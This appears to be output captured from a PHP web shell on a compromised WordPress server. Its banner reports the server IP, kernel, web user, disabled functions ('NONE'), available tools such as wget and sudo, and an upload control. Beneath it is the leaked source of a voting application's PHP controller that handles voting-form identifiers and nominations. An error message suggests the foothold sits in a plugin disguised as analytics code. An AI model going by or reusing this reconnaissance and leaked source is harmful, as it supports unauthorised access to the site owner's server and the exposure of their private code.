Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_vote/modules/vote/controller/ |
Upload File : |
<?php
class Vote_Controller extends Controller {
private $val;
private $mode;
function __construct() {
parent::__construct(dirname(__DIR__));
$this->getWebsiteMode();
}
private function getWebsiteMode() {
$temp = $GLOBALS['loader']->getModuleList();
$SETTINGS = $temp['vote']['.info']['settings'];
$settings = $this->GetModuleSettings();
$this->val = $settings['mode'];
$this->mode = '';
foreach($SETTINGS as $item) {
if ($item['name'] == 'mode') {
$this->mode = $item['options'][$this->val];
break;
}
}
}
// missing template? It's been precompiled. Delete the work file
public function __Register() {
$this->RegisterView(__CLASS__ .'::index', ['main_view' => ['handlebars_welcome']]);
$this->RegisterView(__CLASS__ .'::vote', ['main_view' => ['handlebars_vote']]);
$this->RegisterView(__CLASS__ .'::display', ['main_view' => ['handlebars_display']]);
$this->RegisterView(__CLASS__ .'::nominate', ['main_view' => ['handlebars_nominate']]);
}
/** everyone */
public function index() {
$result = $this->DefaultResult(__METHOD__);
$model = $this->loadmodel('vfi_model');
if ($this->isPost) {
$vfi = isset($_POST['vfi']) ? trim($_POST['vfi']) : '';
if ($vfi != '') {
$errnum = $model->Validate($vfi, $this->val);
if ($errnum > 0) {
// redirect to nomination or voting pages
$result['redirect'] = $errnum == 1 ? "/vote/nominate/$vfi" : "/vote/vote/$vfi";
return $result;
}
$_GET['num'] = $errnum;
}
} else {
$vfi = isset($_GET['vfi']) ? trim($_GET['vfi']) : '';
}
$this->_setBanner();
// $config->ExecuteHook('html.banner', 'banner-intro.jpg');
$result['result'] = isset($_GET['num']) ? (int) $_GET['num'] : 0;
switch($result['result']) {
case -100:
$result['message'] = 'That’s an invalid Voting Form Identifier (VFI)';
break;
case -101:
$result['message'] = 'That Voting Form Identifier is for Nominations. Nominations have closed.';
break;
case -102:
$result['message'] = 'That Voting Form Identifier is for Voting. Voting has not started.';
break;
}
$result['template'] = 'main_vote';
$result['setfocus'] = 'vfi';
$result['vfi'] = $vfi;
$result['mode'] = $this->val;
$result['desc'] = $this->mode;
return $result;
}
private function _setBanner() {
// $display = $this->GetDisplay();
// $display->Set('header_item_1', "<div class=\"setup_logo {$this->val}\"></div>");
}
/** everyone */
public function nominate($id = '', $page = '') {
$this->_setBanner();
$result = $this->DefaultResult(__METHOD__);
$model = $this->loadmodel('vfi_model');
$errnum = $model->Validate($id, $this->val);
if ($model->isFinalized()) {
$result['redirect'] = '/vote/display/' . $id;
return $result;
}
if ($page === '') { // redirect to last entered page
$page = -1;
}
$page = intval($page);
$this->setResultProperties($result, $id, $page);
$result['jobs'] = $this->model_member->GetJobList($id, TRUE);
$result['template'] = 'main_nominate';
return $result;
}
/** everyone */
public function vote($id = '', $page = '') {
$this->_setBanner();
$result = $this->DefaultResult(__METHOD__);
$model = $this->loadmodel('vfi_model');
$errnum = $model->Validate($id, $this->val);
if ($model->isFinalized()) {
$result['redirect'] = '/vote/display/' . $id;
return $result;
}
if ($page === '') { // redirect to last entered page
$page = -1;
}
$page = intval($page);
$this->setResultProperties($result, $id, $page);
$result['jobs'] = $this->model_member->GetJobList($id, TRUE);
$result['form_ok'] = $this->model_member->isFormOk($result['jobs']);
$result['template'] = 'main_form';
return $result;
}
protected function setResultProperties(&$result, $vfi_id, $job_id) {
$this->model_nominate = $this->LoadModel('nominate_model');
$this->model_nominate->mode($this->val);
$this->model_member = $this->LoadModel('member_model');
$this->model_member->mode($this->val);
$this->model_nominate->SetModelMember($this->model_member);
$this->model_member->setResultProperties($result, $job_id);
$result['all'] = $this->model_member->GetCheckUncheckAll($job_id);
$members = $this->model_member->GetMasterList($job_id);
$this->model_nominate->GetNamesList($result, $vfi_id, $job_id, $members); // id, job_id
if ($job_id == -1) $result['role'] = 'Introduction';
$result['vfi'] = $vfi_id;
$result['job_id'] = $job_id;
$result['mode'] = $this->val;
}
public function job_info($vfi_id, $job_id) {
$result = [];
$this->setResultProperties($result, $vfi_id, $job_id);
return $result;
}
public function job_nominate($vfi_id, $job_id, $nominee = '', $newstate = 0) {
$model_vfi = $this->loadmodel('vfi_model');
$model_member = $this->LoadModel('member_model');
$model_member->mode($this->val);
$model_nom = $this->LoadModel('nominate_model');
$model_nom->mode($this->val);
$bulk = $vfi_id == '~';
if ($bulk) {
$newstate = intval($job_id);
$vfi_id = trim($_GET['vfi']);
$job_id = (int) $_GET['role'];
} else {
$job_id = intval($job_id);
$newstate = intval($newstate);
}
$ok = TRUE;
$errnum = $model_vfi->Validate($vfi_id, $this->val);
if ($errnum < 0) $ok = FALSE;
if ($model_vfi->isFinalized()) $ok = FALSE;
$vacancies = $model_member->Vacancies();
if (!isset($vacancies[$job_id])) $ok = FALSE;
$status = -1;
if ($bulk) {
$nominees = explode(',', $_GET['q']);
foreach($nominees as $nominee) {
if (!$model_member->isValidHash($nominee)) $ok = FALSE;
if ($ok) $ok = $model_nom->SetNomination($vfi_id, $job_id, $nominee, $newstate, $status);
if (!$ok) break;
}
} else {
if ($ok) $ok = $model_nom->SetNomination($vfi_id, $job_id, $nominee, $newstate, $status);
}
$count = $model_nom->GetCategoryCount($vfi_id, $job_id);
$result = ['result' => $ok ? 1 : 0, 'status' => $status, 'count' => $count];
return $result;
}
// lock record, redirect to homepage
public function job_finalize($vfi_id) {
$model = $this->loadmodel('vfi_model');
$errnum = $model->Validate($vfi_id, $this->val);
if ($errnum > 0) {
$model->Finalize($vfi_id);
$dest = $this->val == 'n' ? '/thank-you/nominate' : '/thank-you/voted';
} else {
$dest = '/thats-an-error';
}
return ['redirect' => $dest];
}
/** everyone */
public function display($vfi_id = '') {
$result = $this->DefaultResult(__METHOD__);
$this->_setBanner();
$model = $this->loadmodel('vfi_model');
$model_member = $this->LoadModel('member_model');
$memberhash = $model_member->GetMasterListByHash();
$roles = $model_member->GetJobList();
$result['role'] = $model->GetDisplay($roles, $memberhash, $vfi_id);
$model->Validate($vfi_id, '');
$result['finalized'] = $model->isFinalized() ? 1 : 0;
$result['mode'] = $model->isNomination() ? 1 : 0;
$result['template'] = 'main_display';
$result['page_title'] = "Form $vfi_id";
return $result;
}
}